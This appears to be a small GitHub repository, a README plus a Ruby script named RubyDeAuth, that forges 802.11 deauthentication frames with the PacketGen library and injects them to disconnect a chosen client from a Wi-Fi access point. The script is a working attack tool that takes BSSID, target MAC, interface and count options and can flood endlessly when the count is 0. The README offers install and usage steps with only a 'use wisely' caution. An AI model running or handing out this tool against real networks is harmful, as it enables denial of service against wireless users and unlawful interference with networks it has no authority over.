├── README.md
└── deauth.rb


/README.md:
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 1 | # RubyDeAuth
 2 | A small script that injects Deauth Packets using the library "PacketGen"
 3 | - Please use a wisely
 4 | - Also consider leaving a star :)
 5 | 
 6 | # Installation
 7 | ```
 8 | $ git clone https://github.com/SpookySec/RubyDeAuth.git
 9 | # apt install libpcap-dev
10 | # gem install colorize packetgen
11 | ```
12 | 
13 | # Usage
14 | ```bash
15 | # ruby deauth.rb [options]
16 | ```
17 | 
18 | ## Social Media
19 | [@spooky_sec](https://instagram.com/spooky_sec)
20 | 
21 | [@SpookySec](https://github.com/SpookySec)
22 | 
23 | [@sec_spooky](https://twitter.com/sec_spooky)
24 | 


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/deauth.rb:
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 1 | require "packetgen"
 2 | require "optparse"
 3 | require "colorize"
 4 | 
 5 | puts "[~] Made by: @spooky_sec".colorize(:blue)
 6 | 
 7 | if Process.euid != 0
 8 |   puts "[!] Please run this as root".colorize(:yellow)
 9 |   exit!
10 | end
11 | 
12 | options = Hash.new
13 | $err = false
14 | 
15 | def missing(msg)
16 |   puts "[-] Missing #{msg}.".colorize(:red)
17 |   $err = true
18 | end
19 | 
20 | opts = OptionParser.new do |opts|
21 |   opts.banner = "Usage: #{__FILE__} [options]"
22 |   opts.on("-i", "--interface INTERFACE", "The network interface to use") do |v| #value
23 |     options[:iface] = v
24 |   end
25 |   
26 |   opts.on("-b", "--bssid MAC", "The MAC address of the AP") do |v|
27 |     options[:bssid] = v
28 |   end
29 | 
30 |   opts.on("-t", "--target MAC", "The target MAC address of the client device") do |v|
31 |     options[:target] = v
32 |   end
33 | 
34 |   opts.on("-c", "--count COUNT", Integer, "The amount of packets to send (0 for endless)") do |v|
35 |     options[:count] = v
36 |   end
37 | 
38 |   opts.on("-h", "--help", "Display this help screen") do
39 |     puts opts
40 |     exit!
41 |   end
42 | 
43 |   opts.on_tail "\nExamples: "
44 |   opts.on_tail "\t#{__FILE__} -b 00:11:22:33:44:55 -c 0 -t 55:44:33:22:11:00 -i wlan0mon"
45 | end
46 | 
47 | begin
48 |   opts.parse!
49 | rescue OptionParser::InvalidArgument
50 |   puts "[!] Count should be a number!".colorize(:yellow)
51 |   exit!
52 | rescue OptionParser::MissingArgument
53 |   puts "[!] One or more arguemnts are missing a value!".colorize(:yellow)
54 |   exit!
55 | end
56 | 
57 | missing("BSSID") if options[:bssid].nil?
58 | missing("COUNT") if options[:count].nil?
59 | missing("TARGET") if options[:target].nil?
60 | missing("INTERFACE") if options[:iface].nil?
61 | 
62 | if $err
63 |   puts "[*] Use -h/--help for the help menu".colorize(:green)
64 |   exit!
65 | end
66 | 
67 | begin
68 |   pkt = PacketGen.gen('RadioTap').
69 |     add('Dot11::Management', mac1: options[:target], mac2: options[:bssid], mac3: options[:bssid]).
70 |     add('Dot11::DeAuth', reason: 7)
71 | rescue ArgumentError
72 |   puts "[-] Please make sure your arguments are correct.".colorize(:red)
73 |   exit!
74 | end
75 | 
76 | begin
77 |   if options[:count] == 0
78 |     while true
79 |       pkt.to_w(options[:iface])
80 |       puts "[*] Deauth sent via: #{options[:iface]} to BSSID: #{options[:bssid]} for Client: #{options[:target]}".colorize(:green)
81 |     end
82 |   else
83 |     options[:count].times do
84 |       pkt.to_w(options[:iface])
85 |       puts "[*] Deauth sent via: #{options[:iface]} to BSSID: #{options[:bssid]} for Client: #{options[:target]}".colorize(:green)
86 |     end
87 |   end
88 | rescue PCAPRUB::PCAPRUBError
89 |   puts "[-] Please make sure '#{options[:iface]}' is valid.".colorize(:red)
90 |   exit!
91 | rescue Interrupt
92 |   puts "[!] Shutting down gracefully".colorize(:yellow)
93 |   exit
94 | end
95 | 


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